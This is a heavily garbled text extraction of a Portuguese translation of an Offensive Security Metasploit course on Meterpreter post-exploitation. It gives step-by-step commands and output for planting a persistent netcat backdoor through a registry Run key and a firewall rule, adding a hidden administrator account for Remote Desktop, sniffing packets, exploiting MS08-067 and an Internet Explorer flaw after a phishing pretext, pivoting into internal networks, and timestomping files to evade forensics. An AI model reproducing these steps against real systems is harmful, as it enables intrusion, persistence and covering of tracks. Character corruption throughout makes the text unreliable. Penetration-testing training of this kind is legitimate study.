/e 'e 3se na!e< /M#JD/68MXJd!inist ato !ete p ete = Em seguida, deiAa correr uma s ell como esta conta individual, eAecutando 1eAecutar cmd.eAe&f&i&t Kde dentro !eterpreter. A eAecutar cmd.eAe&f est dizendo !etasploit para eAecutar cmd.eAe, o&i nos permite interagir com o 2* das v5timas, e as t&assume o papel representado por n/s apenas inc/gnito. !ete p ete = e"ec3te -f c!d6e"e -i -t % ocess 3540 c eated6 &9annel 1 c eated6 Mic osoft Rindo5s E*e sion 56263790F B&H &op7 i$9t 1985-2003 Mic osoft &o p6 &<XR8M)+R/Xs7ste!32=59oa!i 59oa!i /M#JD/68MXad!inist ato &<XR8M)+R/Xs7ste!32= @esultadoL %ucesso:

Interactin' %it$ t$e Re'istr:


O registro do Bindo#s um lugar mgico, onde, com apenas algumas teclas voc pode tornar um sistema praticamente inutilizvel. 2ortanto, muito cuidado nesta seo seguinte, os erros podem ser dolorosos. !eterpreter tem algumas fun6es muito 'teis para a interao do registro. 8amos analisar as op6es.
meter0reter 2 re* &sa*e: re* 7 omman$9 7o0tions9 ;ntera t %it. t.e tar*et ma .ine's re*istry5 O"T;O<S: 3$ 3. 31 3t 3T.e $ata to store in t.e re*istry -alue5 Hel0 menu5 T.e re*istry 1ey 0at. ('5*5 HXLMUSoft%areULoo)5 T.e re*istry -alue ty0e ('5*5 R'G>S])5 T.e re*istry -alue name ('5*5 Stuff)5

DOMMA<ES: enum1ey reate1ey $elete1ey set-al $elete-al query-al 'numerate t.e su00lie$ re*istry 1ey 731 9 Dreate t.e su00lie$ re*istry 1ey 731 9 Eelete t.e su00lie$ re*istry 1ey 731 9 Set a re*istry -alue 731 3- 3$ 9 Eelete t.e su00lie$ re*istry -alue 731 3- 9 ^ueries t.e $ata ontents of a -alue 731 3- 9

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

A(ui podemos ver (ue eAistem vrias op6es (ue pode utilizar para interagir com o sistema remoto. ?emos a plena op6es de leitura, escrita, criar e apagar as entradas do @egistro remoto. Estes podem ser usados para (ual(uer n'mero de ac6es, incluindo a recol a de informa6es remoto. 9sando o registro, pode&se encontrar (uais ar(uivos foram utilizados, sites visitados no Enternet EAplorer, programas utilizados, dispositivos 9%P utilizadas, e assim por diante. ) uma lista grande referncia rpida dessas entradas do @egistro interessante publicado pelo acesso a dados em ttpLDD###.accessdata.comDmediaDen[9%DprintDpapersD#p.@egistr<[Huic$["ind[* art.en[us.pdf, bem como (ual(uer n'mero de internet vale a pena encontrar referncias (uando ouver algo espec5fico (ue voc est procurando.

Persistent Netcat 9ac5#oor


0este eAemplo, ao invs de buscar informa6es sobre o sistema remoto, estaremos instalando um bac$door netcat. Esso inclui mudanas no sistema de registro e fire#all. 2rimeiro, temos de carregar uma c/pia do netcat para o sistema remoto. !ete p ete = 3pload /t!p/nc6e"e &<XX5indo5sXXs7ste!32 EGF 3ploadin$ < /t!p/nc6e"e -= &<X5indo5sXs7ste!32 EGF 3ploaded < /t!p/nc6e"e -= &<X5indo5sXs7ste!32nc6e"e 3epois, n/s trabal amos com o registro de ter netcat eAecutar no arran(ue e ouvir no porto -NN. "azemos isso atravs da edio da c ave 1)UG! a %oft#are a !icrosoft a Bindo#s eAecutar a a *urrent8ersion.
meter0reter 2 re* enum1ey 31 HXLMUUsoft%areUUmi rosoftUU%in$o%sUU urrent-ersionUUrun 'numeratin*: HXLMUsoft%areUmi rosoftU%in$o%sU urrent-ersionUrun Jalues (A): JM%are Tools JM%are &ser "ro ess qui 1tft0ser-er meter0reter 2 re* set-al 31 HXLMUUsoft%areUUmi rosoftUU%in$o%sUU urrent-ersionUUrun 3- n 3$ "D:U%in$o%sUsystemA!Un 5exe 3L$0 =(( 3e m$5exe" Su essful set n 5 meter0reter 2 re* query-al 31 HXLMUUsoft%areUUmi rosoftUU%in$o%sUU urrent-ersionUURun 3- n Xey: HXLMUsoft%areUmi rosoftU%in$o%sU urrent-ersionURun <ame: n Ty0e: R'G>S] Eata: D:U%in$o%sUsystemA!Un 5exe 3L$0 =(( 3e m$5exe

Em seguida, preciso alterar o sistema para permitir coneA6es remotas atravs do fire#all para o nosso bac$door netcat. 0/s abrimos um prompt de comando interativo e use o 1nets 1 comando para fazer as altera6es, uma vez (ue um erro muito menos propensos do (ue alterar a @egistro diretamente. Alm disso, o processo mostrado deve funcionar em mais vers6es do Bindo#s, como locais de registro e as fun6es so altamente verso e n5vel de patc dependentes. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

meter0reter 2 exe ute 3f m$ 3i "ro ess 1)@= reate$5 D.annel 1 reate$5 Mi rosoft #in$o%s K" 7Jersion (515!)@@9 (D) Do0yri*.t 146(3!@@1 Mi rosoft Dor05 D:UEo uments an$ Settin*sURimUMy Eo uments2 nets. fire%all s.o% o0mo$e <ets. fire%all s.o% o0mo$e Eomain 0rofile onfi*uration: 3333333333333333333333333333333333333333333333333333333333333333333 O0erational mo$e ? 'na+le 'x e0tion mo$e ? 'na+le Stan$ar$ 0rofile onfi*uration ( urrent): 3333333333333333333333333333333333333333333333333333333333333333333 O0erational mo$e ? 'na+le 'x e0tion mo$e ? 'na+le Lo al Area Donne tion fire%all onfi*uration: 3333333333333333333333333333333333333333333333333333333333333333333 O0erational mo$e ? 'na+le

0/s abrimos a porta --N no fire#all e verifi(ue novamente se foi configurado corretamente.
D:UEo uments an$ Settin*sURimUMy Eo uments2 nets. fire%all a$$ 0orto0enin* TD" =(( "Ser-i e Lire%all" '<ABL' ALL nets. fire%all a$$ 0orto0enin* TD" =(( "Ser-i e Lire%all" '<ABL' ALL O15 D:UEo uments an$ Settin*sURimUMy Eo uments2 nets. fire%all s.o% 0orto0enin* nets. fire%all s.o% 0orto0enin* "ort onfi*uration for Eomain 0rofile: "ort "roto ol Mo$e <ame 3333333333333333333333333333333333333333333333333333333333333333333 1A4 TD" 'na+le <etB;OS Session Ser-i e ==( TD" 'na+le SMB o-er TD" 1AH &E" 'na+le <etB;OS <ame Ser-i e 1A6 &E" 'na+le <etB;OS Eata*ram Ser-i e "ort onfi*uration for Stan$ar$ 0rofile: "ort "roto ol Mo$e <ame 3333333333333333333333333333333333333333333333333333333333333333333 =(( TD" 'na+le Ser-i e Lire%all 1A4 TD" 'na+le <etB;OS Session Ser-i e ==( TD" 'na+le SMB o-er TD" 1AH &E" 'na+le <etB;OS <ame Ser-i e 1A6 &E" 'na+le <etB;OS Eata*ram Ser-i e D:UEo uments an$ Settin*sURimUMy Eo uments2

Ento, com isso sendo conclu5da, vamos reiniciar o sistema remoto e testar o netcat s ell.
rootS+t=:,0entest,ex0loits,frame%or1AT n 3- 1H!51)51@=51!6 =(( 1H!51)51@=51!6: in-erse .ost loo1u0 faile$: &n1no%n ser-er error : Donne tion time$ out (&<X<O#<) 71H!51)51@=51!69 =(( (F) o0en Mi rosoft #in$o%s K" 7Jersion (515!)@@9 (D) Do0yri*.t 146(3!@@1 Mi rosoft Dor05 D:UEo uments an$ Settin*sURim2 $ir $ir Jolume in $ri-e D .as no la+el5 Jolume Serial <um+er is '=!A3'H!) Eire tory of D:UEo uments an$ Settin*sURim

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

@(,@A,!@@4 @1:=A AM 5 @(,@A,!@@4 @1:=A AM 55 @(,@A,!@@4 @1:!) AM @ Vi @(,1!,!@@4 1@:(A "M Ees1to0 1@,!4,!@@6 @(:(( "M La-orites @(,1!,!@@4 1@:(A "M My Eo uments @(,@A,!@@4 @1:=A AM @ ^DM 1@,!4,!@@6 @A:(1 AM Start Menu @(,@A,!@@4 @1:!( AM @ talltelnet5lo* @(,@A,!@@4 @1:!( AM @ talltft05lo* = Lile(s) @ +ytes ) Eir(s) A(B(=@BH41B!4) +ytes free D:UEo uments an$ Settin*sURim2

!aravil oso: Em uma situao do mundo real, no estar5amos usando essa bac$door simples como este, sem autenticao ou criptografia, mas os princ5pios deste processo so os mesmos para outras mudanas para o sistema, e outros tipos de programas pode&se (uerer eAecutar no arran(ue.

Ena.&in' Re)ote Des5top


8e4amos outra situao em (ue o !etasploit facilita muito a bac$door no sistema usando nada mais do built&in ferramentas do sistema. Eremos utilizar K*arlos 2erez getgui script 1, (ue permite @emote 3es$top e cria uma conta de usurio para voc logar no&la. 9tilizao deste script no poderia ser mais fcil.
meter0reter 2 run *et*ui 3u .ax@r 30 *i+s@n 789 #in$o%s Remote Ees1to0 Donfi*uration Meter0reter S ri0t +y Ear1o0erator 789 Darlos "ereI arlos>0ereIS$ar1o0erator5 om 789 'na+lin* Remote Ees1to0 789 RE" is $isa+le$ ena+lin* it 555 789 Settin* Terminal Ser-i es ser-i e startu0 mo$e 789 T.e Terminal Ser-i es ser-i e is not set to autoB .an*in* it to auto 555 789 O0enin* 0ort in lo al fire%all if ne essary 789 Settin* user a ount for lo*on 789 A$$in* &ser: .ax@r %it. "ass%or$: *i+s@n 789 A$$in* &ser: .ax@r to lo al *rou0 Remote Ees1to0 &sers 789 A$$in* &ser: .ax@r to lo al *rou0 A$ministrators 789 Mou an no% lo*in %it. t.e reate$ user meter0reter 2

E estamos a fazer: Esso (ue . 2ermite testar a coneAo para ver se ele pode realmente ser assim to fcil.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

E a(ui vemos (ue ele . 0/s usamos o comando Krdes$topK e especificado o nome de usurio ea sen a (ue dese4a usar para o log pol Em seguida, recebeu uma mensagem de erro deiAar&nos saber (ue um usurio 4 conectado ao console do sistema, e (ue, se continuar, (ue usurio ser desconectado. Esse comportamento esperado para um sistema des$top do Bindo#s C2, ento podemos ver (ue tudo est funcionando conforme o esperado. Observe (ue o Bindo#s %erver permite logons simultFneos grfica para (ue voc no pode encontrar essa mensagem de aviso. Gembre&se (ue estes tipos de altera6es podem ser muito poderosos. Entretanto, o uso desse poder de forma sbia, como todas essas etapas alterar os sistemas de formas (ue podem ser utilizados por pes(uisadores para controlar (ue tipo de a6es foram tomadas no sistema. As mudanas mais (ue so feitos, mais provas (ue deiAar para trs.

Pac5et Sni00in' %it$ Meterpreter


3urante o tempo de escrever os tutoriais para este curso, )3 !oore lanou um novo recurso para o !etasploit "rame#or$ (ue muito poderoso em todos os aspectos. !eterpreter agora tem a capacidade de pac$et sniffing o ost remoto, sem nunca tocar no disco r5gido. Esto especialmente 'til se (uisermos acompan ar o tipo de informao est sendo enviada, e ainda mel or, este provavelmente o in5cio de vrios m/dulos auAiliares (ue acabar por ol ar para os dados confidenciais dentro dos ar(uivos de captura. O sniffer m/dulo pode armazenar at =.. mil pacotes em um buffer de anel e eAporta&los em formato 2*A2 padro para (ue voc possa process&los usando psnuffle, dsniff, #ires ar$, etc 2rimeiro, o fogo fora de nosso controle remoto para eAplorar a v5tima e gan ar o nosso padro reverso !eterpreter console.
msf msf msf msf msf 789 789 789 789 789 789 2 use %in$o%s,sm+,ms@6>@)H>neta0i ex0loit(ms@6>@)H>neta0i) 2 set "AMLOAE %in$o%s,meter0eter,re-erse>t 0 ex0loit(ms@6>@)H>neta0i) 2 set LHOST 1@5!115((51!) ex0loit(ms@6>@)H>neta0i) 2 set RHOST 1@51@515114 ex0loit(ms@6>@)H>neta0i) 2 ex0loit Han$ler +in$in* to LHOST @5@5@5@ Starte$ re-erse .an$ler Tri**erin* t.e -ulnera+ility555 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(!1) +ytes) Sen$in* sta*e (!@(6!= +ytes) Meter0reter session 1 o0ene$ (1@51@515=:==== 32 1@51@515114:14!1)

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

A partir da(ui iniciamos o sniffer em uma interface e comear a recol er os pacotes. Em seguida, despe4ar o sniffer sa5da para D tmp D all.cap.
meter0reter 2 use sniffer Loa$in* extension sniffer555su meter0reter 2 .el0 Sniffer Domman$s ???????????????? Domman$ 3333333 sniffer>$um0 sniffer>interfa es sniffer>start sniffer>stats sniffer>sto0 Ees ri0tion 33333333333 Retrie-e a0ture$ 0a 1et $ata List all remote sniffa+le interfa es Da0ture 0a 1ets on a 0re-iously o0ene$ interfa e Jie% statisti s of an a ti-e a0ture Sto0 0a 1et a0tures on t.e s0e ifie$ interfa e ess5

meter0reter 2 sniffer>interfa es 1 3 'JM%are A elerate$ AME "D<et A$a0ter' ( ty0e:@ mtu:1(1= usa+le:true $. 0:true %ifi:false )

meter0reter 2 sniffer>start 1 789 Da0ture starte$ on interfa e 1 (!@@@@@ 0a 1et +uffer) meter0reter 2 sniffer>$um0 1 ,tm0,all5 a0 789 Eum0in* 0a 1ets from interfa e 1555 789 #rote 14 0a 1ets to "DA" file ,tm0,all5 a0 meter0reter 2 sniffer>$um0 1 ,tm0,all5 a0 789 Eum0in* 0a 1ets from interfa e 1555 789 #rote 144 0a 1ets to "DA" file ,tm0,all5 a0

2odemos agora usar o nosso parser favorito ou ferramenta de anlise de pacotes para analisar as informa6es interceptadas. O pac$et sniffer !eterpreter usa o !icroOGA2 2ac$et %niffer %3U e pode c eirar os pacotes da m(uina da v5tima sem ter (ue instalar nen um driver ou escreva para o sistema de ar(uivos. O m/dulo inteligente o suficiente para realizar o seu pr/prio trfego, bem e automaticamente remove (ual(uer tipo de trfego a partir da interao !eterpreter. Alm disso, os tubos !eterpreter todas as informa6es atravs de um t'nel %%G D ?G% e totalmente criptografado.

Pi(otin'
2ivoting a 'nica tcnica de usar um eAemplo +tambm referida como uma 1planta1 ou 1base1, para ser capaz de 1mover1 em torno de dentro de uma rede. Pasicamente, usando o primeiro compromisso de permitir e at mesmo a4uda no comprometimento de outros sistemas inacess5veis. 0este cenrio, vamos us&lo para o roteamento de trfego de uma rede normalmente no&roteveis. 2or eAemplo, n/s somos um pentester de %egurana&@&9s. 8oc puAa o diret/rio da empresa e encontrar pobres !ar< Zo %#anson em @ecursos )umanos em %nea$s.E0 site principal. 8oc c ama !ar< %#anson e dizer (ue voc do grupo de tecnologia da informao e voc precisa dela para ir a este site para corrigir o seu computador de 1trfego suspeito1. Ela visita seu site e voc acontecer para ser eAecutado o mais tardar vulnerabilidade Enternet EAplorer.
msf 2 use %in$o%s,+ro%ser,ms@4>@@!>memory> orru0tion msf ex0loit(ms@4>@@!>memory> orru0tion) 2 s.o% o0tions

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Mo$ule o0tions: <ame 3333 SRJHOST SRJ"ORT SSL &R;"ATH Durrent Settin* 333333333333333 @5@5@5@ 6@ false , Require$ 33333333 yes yes no no Ees ri0tion 33333333333 T.e lo al .ost to listen on5 T.e lo al 0ort to listen on5 &se SSL T.e &R; to use for t.is ex0loit ($efault is ran$om)

'x0loit tar*et: ;$ 33 @ <ame 3333 #in$o%s K" S"!3S"A , #in$o%s Jista S"@ , ;' H

msf ex0loit(ms@4>@@!>memory> orru0tion) 2 set SRJ"ORT 6@ SRJ"ORT ?2 6@ msf ex0loit(ms@4>@@!>memory> orru0tion) 2 set &R;"ATH , &R;"ATH ?2 , msf ex0loit(ms@4>@@!>memory> orru0tion) 2 set "AMLOAE %in$o%s,0at .u0meter0reter,re-erse>t 0 "AMLOAE ?2 %in$o%s,0at .u0meter0reter,re-erse>t 0 msf ex0loit(ms@4>@@!>memory> orru0tion) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 SRJHOST SRJ"ORT SSL &R;"ATH Durrent Settin* 333333333333333 @5@5@5@ 6@ false , Require$ 33333333 yes yes no no Ees ri0tion 33333333333 T.e lo al .ost to listen on5 T.e lo al 0ort to listen on5 &se SSL T.e &R; to use for t.is ex0loit ($efault is ran$om)

"ayloa$ o0tions (%in$o%s,0at .u0meter0reter,re-erse>t 0): <ame 3333 'K;TL&<D LHOST L"ORT Durrent Settin* 333333333333333 0ro ess ==== Require$ 33333333 yes yes yes Ees ri0tion 33333333333 'xit te .nique: se.B t.rea$B 0ro ess T.e lo al a$$ress T.e lo al 0ort

'x0loit tar*et: ;$ 33 @ <ame 3333 #in$o%s K" S"!3S"A , #in$o%s Jista S"@ , ;' H 2 set LHOST 1@51@5151@4 2 set L"ORT 6@6@ 2 ex0loit 3G 2

msf ex0loit(ms@4>@@!>memory> orru0tion) LHOST ?2 1@51@5151@4 msf ex0loit(ms@4>@@!>memory> orru0tion) L"ORT ?2 6@6@ msf ex0loit(ms@4>@@!>memory> orru0tion) 789 'x0loit runnin* as +a 1*roun$ Go+5 msf ex0loit(ms@4>@@!>memory> orru0tion) 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 &sin* &RL: .tt0:,,@5@5@5@:6@, 789 Lo al ;": .tt0:,,1@51@51@5!=A:6@, 789 Ser-er starte$5

0osso ata(ue de engen aria social tem sido um sucesso: 2oor !ar< %#anson foi conectado ao nosso site e tem&nos dado saber o pleno acesso ao seu computador.
789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 &sin* &RL: .tt0:,,@5@5@5@:6@, 789 Lo al ;": .tt0:,,1@51@5151@4:6@, 789 Ser-er starte$5 789 Sen$in* ;nternet 'x0lorer H &ninitialiIe$ Memory Dorru0tion Julnera+ility to 1@51@5151@=:)!!A6555 789 Sen$in* ;nternet 'x0lorer H &ninitialiIe$ Memory Dorru0tion Julnera+ility to 1@51@5151@=:)!!A6555 789 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(!1) +ytes) 789 Sen$in* ;nternet 'x0lorer H &ninitialiIe$ Memory Dorru0tion Julnera+ility to 1@51@5151@=:)!!A6555 789 Sen$in* sta*e (!)(@ +ytes) 789 Slee0in* +efore .an$lin* sta*e555 789 &0loa$in* ELL (!@(6A( +ytes)555 789 &0loa$ om0lete$5 789 Meter0reter session 1 o0ene$ (1@51@5151@4:6@6@ 32 1@51@5151@=:)!!A4) msf ex0loit(ms@4>@@!>memory> orru0tion) 2 sessions 3l A ti-e sessions ??????????????? ;$ 33 1 Ees ri0tion 33333333333 Meter0reter Tunnel 333333 1@51@5151@4:6@6@ 32 1@51@5151@=:)!!A4

msf ex0loit(ms@4>@@!>memory> orru0tion) 2

A (uesto da(ui , para onde vamos depoisR ?emos de alguma forma, gan ar acesso adicional e mergul ar fundo da rede. %e voc notou, foi utilizada uma carga !eterpreter @E8E@%E. Observe as m(uinas de ata(ue endereo E2 est em uma sub&rede diferente da m(uina v5timas. As v5timas endereo E2 T..=TT.NN.T-. e nosso ata(ue E2 T..T..T.T.>. *omo podemos lanar ata(ues contra outros sistemas na redeR %e (uisermos ir atrs de outro endereo E2 T..=TT.NN.T=] em, precisamos piv_ nossos ata(ues e eAplorar o sistema. 8amos faz&lo. *omeamos por interagir com a sesso !eterpreter e tome nota do nosso endereo E2 vs v5timas E2. 0/s emitir o comando KrouteK para ver as sub&redes dispon5vel no 2* da v5tima.
msf ex0loit(ms@4>@@!>memory> orru0tion) 2 sessions 3l A ti-e sessions ??????????????? ;$ 33 1 Ees ri0tion 33333333333 Meter0reter Tunnel 333333 1@51@5151@4:6@6@ 32 1@51@5151@=:)!!A4

msf ex0loit(ms@4>@@!>memory> orru0tion) 2 if onfi* 789 exe : if onfi* et.@ Lin1 en a0:'t.ernet H#a$$r @@:@$:!4:$4:e : inet a$$r:1@51@5151@4 B ast:1@51@515!(( Mas1:!((5!((5!((5@ inet) a$$r: fe6@::!@ :!4ff:fee6:e+eH,)= S o0e:Lin1 &" BROAEDAST R&<<;<G M&LT;DAST MT&:1(@@ Metri :1 RK 0a 1ets:1=6!) errors:1!6!= $ro00e$:@ o-erruns:@ frame:@ TK 0a 1ets:))A= errors:@ $ro00e$:@ o-erruns:@ arrier:@ ollisions:@ txqueuelen:1@@@ RK +ytes:H(=!H@6 (H5( MB) TK +ytes:!A6(=(A (!5A MB) ;nterru0t:14 Base a$$ress:@x!@!=

msf ex0loit(ms@4>@@!>memory> orru0tion) 2 sessions 3i 1 789 Startin* intera tion %it. 1555 meter0reter 2 route

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

<et%or1 routes ?????????????? Su+net 333333 @5@5@5@ 1@5!115((5@ 1@5!115((51=@ 1@5!((5!((5!(( 1!H5@5@5@ !!=5@5@5@ !((5!((5!((5!(( <etmas1 3333333 @5@5@5@ !((5!((5!((5@ !((5!((5!((5!(( !((5!((5!((5!(( !((5@5@5@ !=@5@5@5@ !((5!((5!((5!(( Gate%ay 3333333 1@5!115((5! 1@5!115((51=@ 1!H5@5@51 1@5!115((51=@ 1!H5@5@51 1@5!115((51=@ 1@5!115((51=@

meter0reter 2 Ba 1*roun$ session 1F 7y,<9y

*om esta informao valiosa na mo, n/s adicionamos a nova rota para !etasploit usando o sub& rede e mscara de sub&rede da v5tima e apontando para o n'mero sesso !eterpreter (ue KT Kneste caso. EAecutando o 1route print1 comando ir mostrar as rotas dispon5veis para n/s.
msf ex0loit(ms@4>@@!>memory> orru0tion) 2 route a$$ 1@5!115((5@ !((5!((5!((5@ 1 msf ex0loit(ms@4>@@!>memory> orru0tion) 2 route 0rint A ti-e Routin* Ta+le ???????????????????? Su+net 333333 1@5!115((5@ <etmas1 3333333 !((5!((5!((5@ Gate%ay 3333333 Session 1

msf ex0loit(ms@4>@@!>memory> orru0tion) 2

8amos agora usar o nosso percurso recm&criada para eAplorar um outro sistema dentro da rede da v5tima.
msf ex0loit(ms@4>@@!>memory> orru0tion) 2 use %in$o%s,sm+,ms@6>@)H>neta0i msf ex0loit(ms@6>@)H>neta0i) 2 set "AMLOAE %in$o%s,0at .u0meter0reter,re-erse>t 0 "AMLOAE ?2 %in$o%s,0at .u0meter0reter,re-erse>t 0 msf ex0loit(ms@6>@)H>neta0i) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 RHOST R"ORT SMB";"' Durrent Settin* 333333333333333 ==( BRO#S'R Require$ 33333333 yes yes yes Ees ri0tion 33333333333 T.e tar*et a$$ress Set t.e SMB ser-i e 0ort T.e 0i0e name to use (BRO#S'RB SRJSJD)

"ayloa$ o0tions (%in$o%s,0at .u0meter0reter,re-erse>t 0): <ame 3333 'K;TL&<D LHOST L"ORT Durrent Settin* 333333333333333 t.rea$ ==== Require$ 33333333 yes yes yes Ees ri0tion 33333333333 'xit te .nique: se.B t.rea$B 0ro ess T.e lo al a$$ress T.e lo al 0ort

'x0loit tar*et: ;$ 33 @ <ame 3333 Automati

Tar*etin*

msf ex0loit(ms@6>@)H>neta0i) 2 set RHOST 1@5!115((51!6 RHOST ?2 1@5!115((51!6 msf ex0loit(ms@6>@)H>neta0i) 2 set L"ORT 4@@@

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

L"ORT ?2 4@@@ msf ex0loit(ms@6>@)H>neta0i) 2 set LHOST 1@51@5151@4 LHOST ?2 1@51@5151@4 msf ex0loit(ms@6>@)H>neta0i) 2 ex0loit 789 789 789 789 789 789 789 789 789 789 789 789 Han$ler +in$in* to LHOST @5@5@5@ Starte$ re-erse .an$ler Automati ally $ete tin* t.e tar*et555 Lin*er0rint: #in$o%s !@@A Ser-i e "a 1 ! 3 lan*:'n*lis. Sele te$ Tar*et: #in$o%s !@@A S"! 'n*lis. (<K) Tri**erin* t.e -ulnera+ility555 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(!1) +ytes) Sen$in* sta*e (!)(@ +ytes) Slee0in* +efore .an$lin* sta*e555 &0loa$in* ELL (!@(6A( +ytes)555 &0loa$ om0lete$5 Meter0reter session ! o0ene$ (1@51@5151@4:4@@@ 32 1@51@5151@=:)!!)@)

meter0reter 2 Ba 1*roun$ session !F 7y,<9y

*ertamente parece (ue conseguimos articulada em rede. 8amos confirmar (ue estamos onde (ueremos estar.
msf ex0loit(ms@6>@)H>neta0i) 2 sessions 3l A ti-e sessions ??????????????? ;$ 33 1 ! Ees ri0tion 33333333333 Meter0reter Meter0reter Tunnel 333333 1@51@5151@4:6@6@ 32 1@51@5151@=:)!!A4 1@51@5151@4:4@@@ 32 1@51@5151@=:)!!)@

msf ex0loit(ms@6>@)H>neta0i) 2 sessions 3i ! 789 Startin* intera tion %it. !555 meter0reter 2 exe ute 3f m$5exe 3i "ro ess A6)= reate$5 D.annel 1 reate$5 Mi rosoft #in$o%s 7Jersion (5!5AH4@9 (D) Do0yri*.t 146(3!@@A Mi rosoft Dor05 D:U#;<EO#SUsystemA!2 i0 onfi* i0 onfi* #in$o%s ;" Donfi*uration 't.ernet a$a0ter Lo al Area Donne tion ): Donne tion3s0e ifi ;" A$$ress5 5 5 5 5 Su+net Mas1 5 5 5 5 Eefault Gate%ay 5 5 D:U#;<EO#SUsystemA!2 E<S 5 5 5 5 5 5 Suffix 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 : : : : lo al$omain 1@5!115((51!6 !((5!((5!((5@ 1@5!115((5!

%ucesso: ?emos derrotou a nossa eAplorao da rede T..=TT.NN..D=- e comprometida com Aito osts dentro da rede normalmente no rotevel: ?emos agora acesso total para ambos T..=TT.NN.T-. e T..=TT.NN.T=]: %e voc notar T..T..T.T.> diz (ue est ligado a T..T..T.T.-, note (ue n/s fizemos uma carga reverso e (ue T..T..T.T.- o endereo E2 eAterno. O T..=TT.NN.T=] e T..=TT.NN.T-. est por trs do 0A? router T..T..T.T.-.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Ti)eSto)p
Enteragindo com a maioria dos sistemas de ar(uivos como andar na neve ... voc vai deiAar pegadas. *omo as pegadas so detal adas, como se pode aprender muito com eles, e (uanto tempo duram tudo depende de vrias circunstFncias. A arte de analisar esses artefatos forense digital. 2or vrias raz6es, ao realizar um teste de caneta voc pode (uerer torn&lo dif5cil para um analista forense para determinar as a6es (ue voc tomou. A mel or maneira de evitar ser detectado por uma investigao forense simplesL 0o to(ue o sistema de ar(uivos: Esta uma das coisas bonitas sobre meterpreter, ele carrega na mem/ria sem escrever nada no disco, muito minimizar os artefatos (ue sai em um sistema. 0o entanto, em muitos casos, voc pode ter (ue interagir com o sistema de ar(uivo de alguma forma. 0esses casos timestomp pode ser uma grande ferramenta. 8amos ol ar para um ar(uivo no sistema, e do !A* +!odified, acessado, modificado, vezes do ar(uivoL

(ile %at9< &<X)oc3!ents and /ettin$sX%0RM3)XM7 )oc3!entsXtest6t"t & eated )ate< 5/3/2009 2<30<08 JM Sast Jccessed< 5/3/2009 2<31<39 JM Sast Modified< 5/3/2009 2<30<36 JM 8amos agora comear a eAplorar o sistema, e carregando uma sesso meterpreter. 3epois disso, vamos carregar o m/dulo timestomp, e dar uma rpida ol ada no ar(uivo em (uesto.
msf ex0loit(%arft0$>1)(>user) 2 ex0loit 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Donne tin* to LT" ser-er 1H!51)51@=51=(:!1555 789 Donne te$ to tar*et LT" ser-er5 789 Tryin* tar*et #in$o%s !@@@ S"@3S"= 'n*lis.555 789 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(141 +ytes) 789 Sen$in* sta*e (!)(@ +ytes) 789 Slee0in* +efore .an$lin* sta*e555 789 &0loa$in* ELL (H(H6H +ytes)555 789 &0loa$ om0lete$5 789 meter0reter session 1 o0ene$ (1H!51)51@=51A@:==== 32 1H!51)51@=51=(:1!16) meter0reter 2 use 0riLoa$in* extension 0ri-555su ess5 meter0reter 2 timestom0 3. &sa*e: timestom0 file>0at. O"T;O<S O"T;O<S: 3a 3+ 3 3e 3f 3. 3m 3r 33I Set t.e "last a esse$" time of t.e file Set t.e MAD' timestam0s so t.at 'nDase s.o%s +lan1s Set t.e " reation" time of t.e file Set t.e "mft entry mo$ifie$" time of t.e file Set t.e MAD' of attri+utes equal to t.e su00lie$ file Hel0 +anner Set t.e "last %ritten" time of t.e file Set t.e MAD' timestam0s re ursi-ely on a $ire tory Eis0lay t.e &TD MAD' -alues of t.e file Set all four attri+utes (MAD') of t.e file

meter0reter 2 0%$ D:U"ro*ram LilesU#ar3ft0$

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

meter0reter 2 $ 55 meter0reter 2 0%$ D:"ro*ram Liles meter0reter 2 $ 55 meter0reter 2 $ Eo umentsU an$U Settin*s meter0reter 2 $ "@#<AE meter0reter 2 $ MyU Eo uments meter0reter 2 ls Listin*: D:UEo uments an$ Settin*sU"@#<AEUMy Eo uments ?????????????????????????????????????????????????????? Mo$e SiIe 3333 3333 =@HHH,r%xr%xr%x @ =@HHH,r%xr%xr%x @ =@(((,r3xr3xr3x @ 1@@))),r%3r%3r%3 !6 meter0reter 2 timestom0 Mo$ifie$ : Sun May A esse$ : Sun May Dreate$ : Sun May 'ntry Mo$ifie$: Sun May Ty0e Last mo$ifie$ 3333 3333333333333 $ir #e$ Ee A1 14:@@:@@ $ir #e$ Ee A1 14:@@:@@ $ir #e$ Ee A1 14:@@:@@ fil #e$ Ee A1 14:@@:@@ test5txt 3@A @=:A@:A) 3@=@@ !@@4 @A @=:A1:(1 3@=@@ !@@4 @A @=:A@:@6 3@=@@ !@@4 @A @=:A1:== 3@=@@ !@@4 <ame 3333 5 55 My "i tures test5txt

3@(@@ 3@(@@ 3@(@@ 3@(@@

14)4 14)4 14)4 14)4

Agora, vamos ol ar para os tempos !A* eAibida. 8emos (ue o ar(uivo foi criado recentemente. 8amos fingir por um minuto (ue esta uma ferramenta super secreto (ue precisa se esconder. 9ma maneira de fazer isso poderia ser para definir o tempo para coincidir com o !A* vezes !A* de um outro ar(uivo no sistema. 2ermite copiar o !A* do cmd.eAe vezes para test.tAt para torn&lo misturar um pouco mel or.
